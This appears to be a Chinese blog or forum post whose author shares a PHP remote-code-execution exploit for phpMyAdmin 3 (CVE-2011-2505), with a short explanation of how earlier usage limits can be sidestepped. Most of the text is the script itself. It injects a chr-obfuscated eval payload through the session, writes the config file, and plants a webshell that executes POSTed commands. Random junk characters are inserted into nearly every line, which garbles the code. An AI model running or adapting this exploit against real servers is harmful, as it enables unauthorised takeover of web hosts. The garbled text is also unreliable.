最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
9 c, n5 Z4 Q0 y" b' M* I0 t) H& y" y9 S8 N$ Z- q+ t
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
, Q4 ?' {& Z3 l, E
* d* L# F0 O& F0 Q, _' ?首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:3 I' f/ Z; r5 i' M
一是session.auto_start = 1;- j! P' ^, Q7 Q3 x; @" r/ X8 J
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
4 t3 o7 h ?. `: Z当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
# y5 W+ N) B5 D- y$ p) E
- R1 E/ |4 d% Q2 A- {0 ?在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。/ X. v1 M1 e7 {$ N8 Y2 G3 \
7 I3 P& [, f# m于是写了这个php版本的exp,代码如下:
# k/ @: u! \. W; {. l7 b
* D5 q0 ?+ C2 d! Z4 g#!/usr/bin/php$ i4 ^' b. e4 l3 X" B7 K
<?php
3 H" r' v# z/ `" |8 I/ Qprint_r('% L6 ?7 g2 M! C# }
+---------------------------------------------------------------------------+
' o0 a: [- `1 b8 lpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]' T; L6 M: P( |% ?/ @) S
by oldjun(www.oldjun.com)8 t( t. n6 s' [
welcome to www.t00ls.net
6 ~% l# }! L1 w6 Tmail: oldjun@gmail.com
6 \% F* i8 R6 z4 q4 mAssigned CVE id: CVE-2011-2505
. O. v2 I; S* m+---------------------------------------------------------------------------+6 V3 P* d/ j. s* A* [
');: B# E6 N# v3 w" P% Q( x; e W- k2 Z
# @3 e1 j6 i* }; M, g" q" o/**
, \" ~0 t- y1 \' e * working when the directory:"config" exists and is writeable.
" t7 g% `; K e/ d**/
\; A4 q9 n4 A* D
; L v1 u. e" K$ Kif ($argc < 3) {& s% W2 F& c' N/ e) {
print_r('6 v* Y3 ~- I) [* @4 F! ~
+---------------------------------------------------------------------------+ P. U4 I1 Z% l. c* c$ h+ E
Usage: php '.$argv[0].' host path; v6 ^ C& w% l1 e7 b; H
host: target server (ip/hostname)
1 g4 O$ D: m+ j$ Qpath: path to pma3
+ n$ N' D+ w# X* cExample:0 H. g# D" \* _8 [; w( w& a
php '.$argv[0].' localhost /pma/# z+ N; \& w' ]! f$ ^7 U2 r! U; R
+---------------------------------------------------------------------------+
$ w4 c7 \7 p, z');$ R) j$ R5 U# v$ i4 u% k$ D
exit;
7 V- P6 S9 S2 N; r2 O) _$ d}. u; u. c# u8 x* J
# c* U' H% r+ T0 U$host = $argv[1];
$ K& a0 S4 n! j$path = $argv[2];
; t: d5 j- q# n7 Q3 q
7 S4 f6 S- Q1 O$ z6 s6 y2 g" b6 d2 i/**9 o- B9 m8 ~# N1 D% j
* Try to determine if the directory:"config" exists/ \4 H" F, T2 g+ h. [6 F1 u1 b6 ]
**/0 f9 A/ q: |5 n: r8 n7 F9 z
echo "[+] Try to determine if the directory:config exists....\n";) `' E- `$ s }* {! y
$returnstr=php_request('config/');8 S: y9 ]& C: k/ e- ?8 C
if(strpos($returnstr,'404')){4 `* ?# V( }6 I* U. V
exit("[-] Exploit Failed! The directory:config do not exists!\n");
+ n/ U* b: M* ` `$ g6 A}
* g, L3 e. U' P! L, P8 H' n" W; Y' C0 x! M- K' S
/**
1 X! y8 v9 E1 D% N3 Q * Try to get token and sessionid8 _" {2 X! c2 p; r S5 r
**/+ \8 m( c4 c6 V9 g3 ~, E* D
echo "[+] Try to get token and sessionid....\n";) C, Q8 p' h; w7 Q( a" G9 E# g
$result=php_request('index.php');+ k: ^5 [9 }/ ~4 z: R1 {
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);+ j. O" I) [: s
$token=$resp[3];
' g' v' B1 r/ B) @7 u9 m) [$sessionid=$resp[1];1 K# W* V6 D% _4 ]0 w* e1 c' r
if($token && $sessionid){
! V/ Y! ~; r$ s/ G3 a echo "[+] token token\n";
$ S7 D- R5 B0 ^) b" [ echo "[+] Session ID sessionid\n";+ H3 c, _& f5 l5 Y
}else{. e8 N E5 \; E% J( B, ?
exit("[-] Can't get token and Session ID,Exploit Failed!\n");+ G- E0 }' a/ ]& [2 f$ f; U
}
; b5 P3 j# N; {! X* J ^: \' x6 L$ a5 M: S* }) R0 {2 o
/**9 ?* `. A8 O# p1 U& [( W: X3 y% W
* Try to insert shell into session8 h0 J/ L8 i V/ n
**/
/ P: N3 T9 w5 A- Mecho "[+] Try to insert shell into session....\n";
5 o4 M) B! L' I% p" Iphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
1 t; ?& R% N2 r( I5 ^; q, y0 I1 {5 i) M
/**
; u- g' }4 `& D * Try to create webshell, t8 v9 a$ {; E/ g% A: s. R
**/
7 J' Z, K' z& z; T! b1 |* Wecho "[+] Try to create webshell....\n";- S1 v! I8 r v2 P8 r. D; t# r5 R
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);" v+ d9 D2 \$ L( x: |" S( Y% _
/**
% w, N2 y$ x. f; ?9 | * Try to check if the webshell was created successfully% k* @9 s) M O r% d
**/
; H6 P7 l+ _1 u# | G; |# K* D% K6 t; Recho "[+] Try to check if the webshell was created successfully....\n";: H$ j9 u: U% \
$content=php_request('config/config.inc.php');6 t3 i5 E; Z, J# r
if(strpos($content,'t00ls')){
- h" T$ ]! b* o, I" p( }( K, a( V echo "[+] Congratulations! Expoilt successfully....\n";" K$ w2 e3 c: o j# Y
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
+ N* q3 {+ S; U* |: t' j k}else{
' e, b. A0 p7 v7 {6 F+ _& Q% w exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
7 X2 u' ]7 z b6 S& ?8 r}
% H/ Q/ k, C4 U0 \$ d+ b% H4 E' W9 z5 g$ E. }1 J) N# q7 e( o
function php_request($url,$data='',$cookie=''){: X' R0 |; ]* u2 i6 G
global $host, $path;5 M8 {; ?, g; ?
& K. B$ e4 G5 e! x& Q/ z
$method=$data?'POST':'GET';2 P1 M: S! p3 h$ S5 _) p; ^: W
' N' s9 A7 ]# M $packet = $method." ".$path.$url." HTTP/1.1\r\n";
, P( o; L7 l h $packet .= "Accept: */*\r\n";
9 y* v( k0 q/ R! V $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";' y( m$ e" D; s9 Y/ ?
$packet .= "Host: $host\r\n";
7 B$ N4 V: \9 X4 [. I $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";6 W! j2 `2 L7 Q0 A
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";; d6 n6 Q0 d' z5 u. {2 u1 p5 |6 u5 F
$packet .= $cookie?"Cookie: $cookie\r\n":"";( f4 `$ P/ |% f$ c8 J; j: \7 A
$packet .= "Connection: Close\r\n\r\n";3 [8 P1 q" N/ A- q7 |/ M
$packet .= $data?$data:"";: X' c4 f8 S2 L7 x R7 p) P7 g
9 k1 x4 P! S( E, |% E
$fp = fsockopen(gethostbyname($host), 80);
, |2 z0 ^- G/ g6 ^" K7 a& e7 k6 j if (!$fp) {* ~6 i+ [; |! `1 B
echo 'No response from '.$host; die;
' ?2 }/ z `: a. J }" w. t2 w' g/ l1 {6 z G
fputs($fp, $packet);8 V3 Q% [3 b% E! f- v) m2 j
7 p' }$ s9 l, e0 y; m
$resp = '';
+ s5 g8 Z" a9 I% R: c$ i+ A% M: _* ]8 M* Q4 T, y1 w- ^# b- u! {3 R
while ($fp && !feof($fp))
, {2 f$ T8 L$ p& X7 O" W $resp .= fread($fp, 1024);# H, Q. I& V& V) ~# Y
8 n' u) A3 H. ?! J5 W) P. F return $resp;( L! @; n/ ~4 a; Q; B3 G
}
! _* G2 P* k7 p/ i
) c2 ]# D4 e: t?> & [1 e" ^6 D/ \ c* u9 ^7 t1 P
. |